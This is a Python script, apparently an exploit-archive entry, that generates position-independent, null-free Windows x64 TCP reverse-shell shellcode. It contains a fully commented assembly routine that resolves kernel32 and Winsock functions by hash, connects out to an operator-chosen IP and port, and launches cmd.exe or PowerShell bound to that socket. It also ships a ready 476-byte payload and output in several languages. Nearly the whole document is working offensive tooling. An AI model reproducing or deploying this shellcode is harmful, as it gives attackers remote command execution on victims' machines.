import ctypes, struct import argparse from keystone import * # Exploit Title: Windows/x64 - PIC Null-Free TCP Reverse Shell Shellcode (476 Bytes) # Exploit Author: Senzee # Date: 08/29/2023 # Platform: Windows X64 # Tested on: Windows 11 Home/Windows Server 2022 Standard/Windows Server 2019 Datacenter # OS Version (respectively): 10.0.22621 /10.0.20348 /10.0.17763 # Test IP: 192.168.1.45 # Test Port: 443 # Payload size: 476 bytes # NUll-Free: True # Detailed information can be found at https://github.com/senzee1984/micr0_shell # Generated Shellcode (192.168.1.45:443): # Payload size: 476 bytes # buf = b"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d" # buf += b"\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01" # buf += b"\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01" # buf += b"\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31" # buf += b"\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45" # buf += b"\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b" # buf += b"\x04\x8b\x4c\x01\xc8\xc3\xc3\x4c\x89\xcd\x41\xb8\x8e\x4e\x0e\xec\xe8\x8f\xff\xff" # buf += b"\xff\x49\x89\xc4\x48\x31\xc0\x66\xb8\x6c\x6c\x50\x48\xb8\x57\x53\x32\x5f\x33\x32" # buf += b"\x2e\x64\x50\x48\x89\xe1\x48\x83\xec\x20\x4c\x89\xe0\xff\xd0\x48\x83\xc4\x20\x49" # buf += b"\x89\xc6\x49\x89\xc1\x41\xb8\xcb\xed\xfc\x3b\x4c\x89\xcb\xe8\x55\xff\xff\xff\x48" # buf += b"\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x66\xb9\x02\x02\x48\x83\xec" # buf += b"\x30\xff\xd0\x48\x83\xc4\x30\x49\x89\xd9\x41\xb8\xd9\x09\xf5\xad\xe8\x2b\xff\xff" # buf += b"\xff\x48\x83\xec\x30\x48\x31\xc9\xb1\x02\x48\x31\xd2\xb2\x01\x4d\x31\xc0\x41\xb0" # buf += b"\x06\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd0\x49\x89\xc4\x48" # buf += b"\x83\xc4\x30\x49\x89\xd9\x41\xb8\x0c\xba\x2d\xb3\xe8\xf3\xfe\xff\xff\x48\x83\xec" # buf += b"\x20\x4c\x89\xe1\x48\x31\xd2\xb2\x02\x48\x89\x14\x24\x48\x31\xd2\x66\xba\x01\xbb" # buf += b"\x48\x89\x54\x24\x02\xba\xc0\xa8\x01\x2d\x48\x89\x54\x24\x04\x48\x8d\x14\x24\x4d" # buf += b"\x31\xc0\x41\xb0\x16\x4d\x31\xc9\x48\x83\xec\x38\x4c\x89\x4c\x24\x20\x4c\x89\x4c" # buf += b"\x24\x28\x4c\x89\x4c\x24\x30\xff\xd0\x48\x83\xc4\x38\x49\x89\xe9\x41\xb8\x72\xfe" # buf += b"\xb3\x16\xe8\x99\xfe\xff\xff\x48\xba\x9c\x92\x9b\xd1\x9a\x87\x9a\xff\x48\xf7\xd2" # buf += b"\x52\x48\x89\xe2\x41\x54\x41\x54\x41\x54\x48\x31\xc9\x66\x51\x51\x51\xb1\xff\x66" # buf += b"\xff\xc1\x66\x51\x48\x31\xc9\x66\x51\x66\x51\x51\x51\x51\x51\x51\x51\xb1\x68\x51" # buf += b"\x48\x89\xe7\x48\x89\xe1\x48\x83\xe9\x20\x51\x57\x48\x31\xc9\x51\x51\x51\x48\xff" # buf += b"\xc1\x51\xfe\xc9\x51\x51\x51\x51\x49\x89\xc8\x49\x89\xc9\xff\xd0" def print_banner(): banner=""" ███╗░░░███╗██╗░█████╗░██████╗░░█████╗░  ░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░ ████╗░████║██║██╔══██╗██╔══██╗██╔══██╗  ██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░ ██╔████╔██║██║██║░░╚═╝██████╔╝██║░░██║  ╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░ ██║╚██╔╝██║██║██║░░██╗██╔══██╗██║░░██║  ░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░ ██║░╚═╝░██║██║╚█████╔╝██║░░██║╚█████╔╝  ██████╔╝██║░░██║███████╗███████╗███████╗ ╚═╝░░░░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░  ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝ """ print(banner) print("Author: Senzee") print("Original Github Repository: https://github.com/senzee1984/micr0_shell") print("Description: Dynamically generate PIC Null-Free Windows X64 TCP Reverse Shell Shellcode") print("This version does not support shellcode execution") print("Attention: In rare cases (.255 and .0 co-exist), generated shellcode could contain NULL bytes, E.G. when IP is 192.168.0.255\n\n") def get_port_argument(port): port_hex_str = format(port, '04x') port_part_1, port_part_2 = port_hex_str[2:], port_hex_str[:2] if "00" in {port_part_1, port_part_2}: port += 257 port_hex_str = format(port, '04x') port_part_1, port_part_2 = port_hex_str[2:], port_hex_str[:2] return f"mov dx, 0x{port_part_1 + port_part_2};\nsub dx, 0x101;" return f"mov dx, 0x{port_part_1 + port_part_2};" def get_ip_argument(ip): ip_hex_parts = [format(int(part), '02x') for part in ip.split('.')] reversed_hex = ''.join(ip_hex_parts[::-1]) if "00" in ip_hex_parts and "ff" not in ip_hex_parts: hex_int = int(reversed_hex, 16) neg_hex = (0xFFFFFFFF + 1 - hex_int) & 0xFFFFFFFF return f"mov edx, 0x{neg_hex:08x};\nneg rdx;" return f"mov edx, 0x{reversed_hex};" def get_shell_type_argument(shell_type): if shell_type == "cmd": return f"mov rdx, 0xff9a879ad19b929c;\nnot rdx;" return (f"sub rsp, 8;\nmov rdx, 0xffff9a879ad19393;\nnot rdx;\npush rdx;" f"\nmov rdx, 0x6568737265776f70;") def output_shellcode(lan,encoding,var,save): sh = b"" for e in encoding: sh += struct.pack("B", e) shellcode = bytearray(sh) print("[+]Payload size: "+str(len(encoding))+" bytes\n") counter=0 if lan=="python": print("[+]Shellcode format for Python\n") sc = "" sc = var+" = b\"" for dec in encoding: if counter % 20 == 0 and counter != 0: sc += "\"\n"+var+"+="+"b\"" sc += "\\x{0:02x}".format(int(dec)) counter += 1 if count % 20 > 0: sc += "\"" print(sc) elif lan=="c": print("[+]Shellcode format for C\n") sc = "unsigned char " + var + "[]={\n" for dec in encoding: if counter % 20 == 0 and counter != 0: sc += "\n" sc += "0x{0:02x}".format(int(dec))+"," counter += 1 sc=sc[0:len(sc)-1]+"};" print(sc) elif lan=="powershell": print("[+]Shellcode format for Powershell\n") sc = "[Byte[]] $"+var+" = " for dec in encoding: sc += "0x{0:02x}".format(int(dec))+"," sc=sc[0:len(sc)-1] print(sc) elif lan=="csharp": print("[+]Shellcode format for C#\n") sc = "byte[] " + var + "= new byte["+str(len(encoding))+"] {\n" for dec in encoding: if counter % 20 == 0 and counter != 0: sc += "\n" sc += "0x{0:02x}".format(int(dec))+"," counter += 1 sc=sc[0:len(sc)-1]+"};" print(sc) else: print("Unsupported language! Exiting...") exit() if save=="true": try: with open(output, 'wb') as f: f.write(shellcode) print("\n\nGenerated shellcode successfully saved in file "+output) except Exception as e: print(e) if __name__ == "__main__": print_banner() parser = argparse.ArgumentParser(description='Dynamically generate Windows x64 reverse shell.') parser.add_argument('--ip', '-i', required=True, dest='ip',help='The listening IP address, default value is 192.168.0.45') parser.add_argument('--port', '-p', required=False, default=443, dest='port',help='The local listening port, default value is 443') parser.add_argument('--language', '-l', required=False, default='python', dest='lan',help='The language of desired shellcode runner, default language is python. Support c, csharp, python, powershell') parser.add_argument('--variable', '-v', required=False, default='buf', dest='var',help='The variable name of shellcode array, default variable is buf') parser.add_argument('--type', '-t', required=False, default='cmd', dest='shell_type',help='The shell type, Powershell or Cmd, default shell is cmd') parser.add_argument('--save', '-s', required=False, default='False', dest='save',help='Whether to save the generated shellcode to a bin file, True/False') parser.add_argument('--output', '-o', required=False, default='', dest='output',help='If choose to save the shellcode to file, the desired location.') args = parser.parse_args() ip=args.ip port=int(args.port) lan=args.lan.lower() var=args.var shell_type=args.shell_type.lower() save=args.save.lower() output=args.output print("[+]Shellcode Settings:") print("******** IP Address: "+ip) print("******** Listening Port: "+str(port)) print("******** Language of desired shellcode runner: "+lan) print("******** Shellcode array variable name: "+var) print("******** Shell: "+shell_type) print("******** Save Shellcode to file: "+save+"\n\n") args = parser.parse_args() port_argument = get_port_argument(port) ip_argument = get_ip_argument(ip) shell_type = get_shell_type_argument(shell_type) CODE = ( "find_kernel32:" " xor rdx, rdx;" " mov rax, gs:[rdx+0x60];" # RAX stores the value of ProcessEnvironmentBlock member in TEB, which is the PEB address " mov rsi,[rax+0x18];" # Get the value of the LDR member in PEB, which is the address of the _PEB_LDR_DATA structure " mov rsi,[rsi + 0x30];" # RSI is the address of the InInitializationOrderModuleList member in the _PEB_LDR_DATA structure " mov r9, [rsi];" # Current module is python.exe " mov r9, [r9];" # Current module is ntdll.dll " mov r9, [r9+0x10];" # Current module is kernel32.dll " jmp jump_section;" "parse_module:" # Parsing DLL file in memory " mov ecx, dword ptr [r9 + 0x3c];" # R9 stores the base address of the module, get the NT header offset " xor r15, r15;" " mov r15b, 0x88;" # Offset to Export Directory " add r15, r9;" " add r15, rcx;" " mov r15d, dword ptr [r15];" # Get the RVA of the export directory " add r15, r9;" # R14 stores the VMA of the export directory " mov ecx, dword ptr [r15 + 0x18];" # ECX stores the number of function names as an index value " mov r14d, dword ptr [r15 + 0x20];" # Get the RVA of ENPT " add r14, r9;" # R14 stores the VMA of ENPT "search_function:" # Search for a given function " jrcxz not_found;" # If RCX is 0, the given function is not found " dec ecx;" # Decrease index by 1 " xor rsi, rsi;" " mov esi, [r14 + rcx*4];" # RVA of function name string " add rsi, r9;" # RSI points to function name string "function_hashing:" # Hash function name function " xor rax, rax;" " xor rdx, rdx;" " cld;" # Clear DF flag "iteration:" # Iterate over each byte " lodsb;" # Copy the next byte of RSI to Al " test al, al;" # If reaching the end of the string " jz compare_hash;" # Compare hash " ror edx, 0x0d;" # Part of hash algorithm " add edx, eax;" # Part of hash algorithm " jmp iteration;" # Next byte "compare_hash:" # Compare hash " cmp edx, r8d;" " jnz search_function;" # If not equal, search the previous function (index decreases) " mov r10d, [r15 + 0x24];" # Ordinal table RVA " add r10, r9;" # Ordinal table VMA " movzx ecx, word ptr [r10 + 2*rcx];" # Ordinal value -1 " mov r11d, [r15 + 0x1c];" # RVA of EAT " add r11, r9;" # VMA of EAT " mov eax, [r11 + 4*rcx];" # RAX stores RVA of the function " add rax, r9;" # RAX stores VMA of the function " ret;" "not_found:" " ret;" "jump_section:" # Achieve PIC and elminiate 0x00 byte " mov rbp, r9;" # RBP stores base address of Kernel32.dll " mov r8d, 0xec0e4e8e;" # LoadLibraryA Hash " call parse_module;" # Search LoadLibraryA's address " mov r12, rax;" # R12 stores the address of LoadLibraryA function "load_module:" " xor rax, rax;" " mov ax, 0x6c6c;" # Save the string "ll" to RAX " push rax;" # Push the string to the stack " mov rax, 0x642E32335F325357;" # Save the string "WS2_32.D" to RAX " push rax;" # Push the string to the stack " mov rcx, rsp;" # RCX points to the "WS2_32.dll" string " sub rsp, 0x20;" # Function prologue " mov rax, r12;" # RAX stores address of LoadLibraryA function " call rax;" # LoadLibraryA("ws2_32.dll") " add rsp, 0x20;" # Function epilogue " mov r14, rax;" # R14 stores the base address of ws2_32.dll "call_wsastartup:" " mov r9, rax;" # R9 stores the base address of ws2_32.dll " mov r8d, 0x3bfcedcb;" # Hash of WSAStartup " mov rbx, r9;" # Save the base address of ws2_32.dll to RBX for later use " call parse_module;" # Search for and get the address of WSAStartup " xor rcx, rcx;" " mov cx, 0x198;" " sub rsp, rcx;" # Reserve enough space for the lpWSDATA structure " lea rdx, [rsp];" # Assign the address of lpWSAData to the RDX register as the 2nd parameter " mov cx, 0x202;" # Assign 0x202 to wVersionRequired and store it in RCX as the 1st parameter " sub rsp, 0x30;" # Function prologue " call rax;" # Call WSAStartup " add rsp, 0x30;" # Function epilogue "call_wsasocket:" " mov r9, rbx;" " mov r8d, 0xadf509d9;" # Hash of WSASocketA function " call parse_module;" # Get the address of WSASocketA function " sub rsp, 0x30;" # Function prologue " xor rcx, rcx;" " mov cl, 2;" # AF is 2 as the 1st parameter " xor rdx, rdx;" " mov dl, 1;" # Type is 1 as the 2nd parameter " xor r8, r8;" " mov r8b, 6;" # Protocol is 6 as the 3rd parameter " xor r9, r9;" # lpProtocolInfo is 0 as the 4th parameter " mov [rsp+0x20], r9;" # g is 0 as the 5th parameter, stored on the stack " mov [rsp+0x28], r9;" # dwFlags is 0 as the 6th parameter, stored on the stack " call rax;" # Call WSASocketA function " mov r12, rax;" # Save the returned socket type return value in R12 to prevent data loss in RAX " add rsp, 0x30;" # Function epilogue "call_wsaconnect:" " mov r9, rbx;" " mov r8d, 0xb32dba0c;" # Hash of WSAConnect " call parse_module;" # Get the address of WSAConnect " sub rsp, 0x20;" # Allocate enough space for the socketaddr structure " mov rcx, r12;" # Pass the socket descriptor returned by WSASocketA to RCX as the 1st parameter " xor rdx, rdx;" " mov dl, 2;" # Set sin_family to AF_INET (=2) " mov [rsp], rdx;" # Store the socketaddr structure " xor rdx, rdx;" f"{port_argument}" # Set local port dynamically " mov [rsp+2], rdx;" # Pass the port value to the corresponding position in the socketaddr structure f"{ip_argument}" " mov [rsp+4], rdx;" # Pass IP to the corresponding position in the socketaddr structure # " xor r8, r8;" # " mov [rsp+8], r8;" # Set zero for sin_zero. Comment these 2 lines to save more bytes, does not prevent the shellcode from working " lea rdx, [rsp];" # Pointer to the socketaddr structure as the 2nd parameter " xor r8, r8;" " mov r8b, 0x16;" # Set namelen member to 0x16 " xor r9, r9;" # lpCallerData is 0 as the 4th parameter " sub rsp, 0x38;" # Function prologue " mov [rsp+0x20], r9;" # lpCalleeData is 0 as the 5th parameter " mov [rsp+0x28], r9;" # lpSQOS is 0 as the 6th parameter " mov [rsp+0x30], r9;" # lpGQOS is 0 as the 7th parameter " call rax;" # Call WSAConnect " add rsp, 0x38;" # Function epilogue "call_createprocess:" " mov r9, rbp;" # R9 stores the base address of Kernel32.dll " mov r8d, 0x16b3fe72;" # Hash of CreateProcessA " call parse_module;" # Get the address of CreateProcessA f"{shell_type}" " push rdx;" " mov rdx, rsp;" # Pointer to "cmd.exe" is stored in the RCX register " push r12;" # The member STDERROR is the return value of WSASocketA " push r12;" # The member STDOUTPUT is the return value of WSASocketA " push r12;" # The member STDINPUT is the return value of WSASocketA " xor rcx, rcx;" " push cx;" # Pad with 0x00 before pushing the dwFlags member, only the total size matters " push rcx;" " push rcx;" " mov cl, 0xff;" " inc cx;" # 0xff+1=0x100 " push cx;" # dwFlags=0x100 " xor rcx, rcx;" " push cx;" # Pad with 0 before pushing the cb member, only the total size matters " push cx;" " push rcx;" " push rcx;" " push rcx;" " push rcx;" " push rcx;" " push rcx;" " mov cl, 0x68;" " push rcx;" # cb=0x68 " mov rdi, rsp;" # Pointer to STARTINFOA structure " mov rcx, rsp;" " sub rcx, 0x20;" # Reserve enough space for the ProcessInformation structure " push rcx;" # Address of the ProcessInformation structure as the 10th parameter " push rdi;" # Address of the STARTINFOA structure as the 9th parameter " xor rcx, rcx;" " push rcx;" # Value of lpCurrentDirectory is 0 as the 8th parameter " push rcx;" # lpEnvironment=0 as the 7th argument " push rcx;" # dwCreationFlags=0 as the 6th argument " inc rcx;" " push rcx;" # Value of bInheritHandles is 1 as the 5th parameter " dec cl;" " push rcx;" # Reserve space for the function return area (4th parameter) " push rcx;" # Reserve space for the function return area (3rd parameter) " push rcx;" # Reserve space for the function return area (2nd parameter) " push rcx;" # Reserve space for the function return area (1st parameter) " mov r8, rcx;" # lpProcessAttributes value is 0 as the 3rd parameter " mov r9, rcx;" # lpThreatAttributes value is 0 as the 4th parameter " call rax;" # Call CreateProcessA ) ks = Ks(KS_ARCH_X86, KS_MODE_64) encoding, count = ks.asm(CODE) output_shellcode(lan,encoding,var,save)